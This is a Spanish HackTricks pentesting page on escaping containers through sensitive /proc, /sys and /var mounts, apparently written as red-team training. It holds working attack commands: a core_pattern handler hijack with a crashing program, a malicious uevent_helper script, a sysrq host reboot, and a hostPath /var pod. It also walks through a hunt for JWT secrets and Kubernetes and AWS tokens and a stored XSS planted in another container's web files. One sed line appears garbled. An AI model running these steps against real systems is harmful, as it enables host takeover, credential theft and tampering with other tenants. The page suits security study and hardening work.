Sensitive Mounts

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

La exposición de /proc, /sys y /var sin un aislamiento adecuado de namespaces introduce riesgos de seguridad significativos, incluyendo la ampliación de la superficie de ataque y la divulgación de información. Estos directorios contienen archivos sensibles que, si están mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga de contenedores, modificación del host o proporcionar información que ayude a ataques posteriores. Por ejemplo, montar incorrectamente -v /proc:/host/proc puede eludir la protección de AppArmor debido a su naturaleza basada en rutas, dejando /host/proc desprotegido.

Puedes encontrar más detalles de cada posible vulnerabilidad en https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

Vulnerabilidades de procfs

/proc/sys

Este directorio permite el acceso para modificar variables del kernel, generalmente a través de sysctl(2), y contiene varias subcarpetas de interés:

/proc/sys/kernel/core_pattern

  • Descrito en core(5).

  • Si puedes escribir dentro de este archivo, es posible escribir un pipe | seguido de la ruta a un programa o script que se ejecutará después de que ocurra un fallo.

  • Un atacante puede encontrar la ruta dentro del host a su contenedor ejecutando mount y escribir la ruta a un binario dentro de su sistema de archivos de contenedor. Luego, hacer que un programa falle para que el kernel ejecute el binario fuera del contenedor.

  • Ejemplo de Prueba y Explotación:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler

Consulta esta publicación para más información.

Ejemplo de programa que falla:

int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}

/proc/sys/kernel/modprobe

  • Detallado en proc(5).
  • Contiene la ruta al cargador de módulos del kernel, invocado para cargar módulos del kernel.
  • Ejemplo de Verificación de Acceso:
ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe

/proc/sys/vm/panic_on_oom

  • Referenciado en proc(5).
  • Una bandera global que controla si el kernel entra en pánico o invoca al OOM killer cuando ocurre una condición de OOM.

/proc/sys/fs

  • Según proc(5), contiene opciones e información sobre el sistema de archivos.
  • El acceso de escritura puede habilitar varios ataques de denegación de servicio contra el host.

/proc/sys/fs/binfmt_misc

  • Permite registrar intérpretes para formatos binarios no nativos basados en su número mágico.
  • Puede llevar a la escalada de privilegios o acceso a un shell root si /proc/sys/fs/binfmt_misc/register es escribible.
  • Exploit relevante y explicación:
  • Poor man’s rootkit via binfmt_misc
  • Tutorial en profundidad: Video link

Otros en /proc

/proc/config.gz

  • Puede revelar la configuración del kernel si CONFIG_IKCONFIG_PROC está habilitado.
  • Útil para atacantes para identificar vulnerabilidades en el kernel en ejecución.

/proc/sysrq-trigger

  • Permite invocar comandos Sysrq, lo que puede causar reinicios inmediatos del sistema u otras acciones críticas.
  • Ejemplo de Reinicio del Host:
echo b > /proc/sysrq-trigger # Reinicia el host

/proc/kmsg

  • Expone mensajes del búfer de anillo del kernel.
  • Puede ayudar en exploits del kernel, fugas de direcciones y proporcionar información sensible del sistema.

/proc/kallsyms

  • Lista símbolos exportados del kernel y sus direcciones.
  • Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.
  • La información de direcciones está restringida con kptr_restrict configurado en 1 o 2.
  • Detalles en proc(5).

/proc/[pid]/mem

  • Interfaz con el dispositivo de memoria del kernel /dev/mem.
  • Históricamente vulnerable a ataques de escalada de privilegios.
  • Más sobre proc(5).

/proc/kcore

  • Representa la memoria física del sistema en formato ELF core.
  • La lectura puede filtrar el contenido de la memoria del sistema host y de otros contenedores.
  • El gran tamaño del archivo puede llevar a problemas de lectura o fallos de software.
  • Uso detallado en Dumping /proc/kcore in 2019.

/proc/kmem

  • Interfaz alternativa para /dev/kmem, representando la memoria virtual del kernel.
  • Permite lectura y escritura, por lo tanto, modificación directa de la memoria del kernel.

/proc/mem

  • Interfaz alternativa para /dev/mem, representando la memoria física.
  • Permite lectura y escritura, la modificación de toda la memoria requiere resolver direcciones virtuales a físicas.

/proc/sched_debug

  • Devuelve información sobre la programación de procesos, eludiendo las protecciones del espacio de nombres PID.
  • Expone nombres de procesos, IDs e identificadores de cgroup.

/proc/[pid]/mountinfo

  • Proporciona información sobre los puntos de montaje en el espacio de nombres de montaje del proceso.
  • Expone la ubicación del rootfs o imagen del contenedor.

Vulnerabilidades en /sys

/sys/kernel/uevent_helper

  • Usado para manejar uevents de dispositivos del kernel.
  • Escribir en /sys/kernel/uevent_helper puede ejecutar scripts arbitrarios al activarse uevent.
  • Ejemplo de Explotación: %%%bash

Crea una carga útil

echo “#!/bin/sh” > /evil-helper echo “ps > /output” >> /evil-helper chmod +x /evil-helper

Encuentra la ruta del host desde el montaje de OverlayFS para el contenedor

hostpath=$(sed -n ‘s/.\perdir=([^,]_).*/\1/p’ /etc/mtab)

Establece uevent_helper en el ayudante malicioso

echo “$host_path/evil-helper” > /sys/kernel/uevent_helper

Activa un uevent

echo change > /sys/class/mem/null/uevent

Lee la salida

cat /output %%%

/sys/class/thermal

  • Controla configuraciones de temperatura, potencialmente causando ataques DoS o daños físicos.

/sys/kernel/vmcoreinfo

  • Filtra direcciones del kernel, comprometiendo potencialmente KASLR.

/sys/kernel/security

  • Alberga la interfaz securityfs, permitiendo la configuración de Módulos de Seguridad de Linux como AppArmor.
  • El acceso podría permitir a un contenedor deshabilitar su sistema MAC.

/sys/firmware/efi/vars y /sys/firmware/efi/efivars

  • Expone interfaces para interactuar con variables EFI en NVRAM.
  • Una mala configuración o explotación puede llevar a laptops bloqueadas o máquinas host que no se pueden iniciar.

/sys/kernel/debug

  • debugfs ofrece una interfaz de depuración “sin reglas” al kernel.
  • Historial de problemas de seguridad debido a su naturaleza sin restricciones.

Vulnerabilidades en /var

La carpeta /var del host contiene sockets de tiempo de ejecución de contenedores y los sistemas de archivos de los contenedores. Si esta carpeta está montada dentro de un contenedor, ese contenedor obtendrá acceso de lectura y escritura a los sistemas de archivos de otros contenedores con privilegios de root. Esto puede ser abusado para pivotar entre contenedores, causar una denegación de servicio o crear puertas traseras en otros contenedores y aplicaciones que se ejecutan en ellos.

Kubernetes

Si un contenedor como este se despliega con Kubernetes:

apiVersion: v1
kind: Pod
metadata:
name: pod-mounts-var
labels:
app: pentest
spec:
containers:
- name: pod-mounts-var-folder
image: alpine
volumeMounts:
- mountPath: /host-var
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /var

Dentro del contenedor pod-mounts-var-folder:

/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html

El XSS se logró:

Stored XSS via mounted /var folder

Tenga en cuenta que el contenedor NO requiere un reinicio ni nada. Cualquier cambio realizado a través de la carpeta montada /var se aplicará instantáneamente.

También puede reemplazar archivos de configuración, binarios, servicios, archivos de aplicaciones y perfiles de shell para lograr RCE automático (o semi-automático).

Acceso a credenciales de la nube

El contenedor puede leer tokens de serviceaccount de K8s o tokens de webidentity de AWS, lo que permite al contenedor obtener acceso no autorizado a K8s o a la nube:

/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token

Docker

La explotación en Docker (o en implementaciones de Docker Compose) es exactamente la misma, excepto que generalmente los sistemas de archivos de los otros contenedores están disponibles bajo una ruta base diferente:

$ docker info | grep -i 'docker root\|storage driver'
Storage Driver: overlay2
Docker Root Dir: /var/lib/docker

Los sistemas de archivos están bajo /var/lib/docker/overlay2/:

$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>

Nota

Las rutas reales pueden diferir en diferentes configuraciones, por lo que tu mejor opción es usar el comando find para localizar los sistemas de archivos de otros contenedores y los tokens de identidad SA / web.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks